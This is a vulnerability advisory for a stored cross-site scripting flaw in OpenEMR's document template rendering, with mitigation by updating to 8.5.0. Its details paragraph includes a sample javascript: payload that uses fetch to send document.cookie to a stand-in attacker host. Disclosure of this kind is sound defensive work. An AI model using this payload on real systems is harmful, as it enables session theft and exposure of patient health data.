Cross-site scripting in OpenEMR - CVE-2026-126451
Published: November 10, 2026 / Updated: November 13, 2026
Vulnerability identifier: #VU164465
CSH Severity: Medium
CVSS v4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]
CVE-ID: CVE-2026-126451
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote user to execute JavaScript in staff browsers, disclose protected health information, and perform unauthorized actions with staff or administrator privileges.
The vulnerability exists due to improper URL scheme validation in OpenEMR's DocumentTemplateRender::doRender() when inserting patient-controlled encounterForm values into iframe sources after template sanitization. A remote user can submit or update portal documents containing javascript:fetch('https://attacker.example/x',{method:'POST',body:document.cookie}) and existing or injected template directives to execute scripts when staff review those documents.
Affected software
OpenEMR
How to mitigate CVE-2026-126451
Install security update from vendor's website.
OpenEMR - update to 8.5.0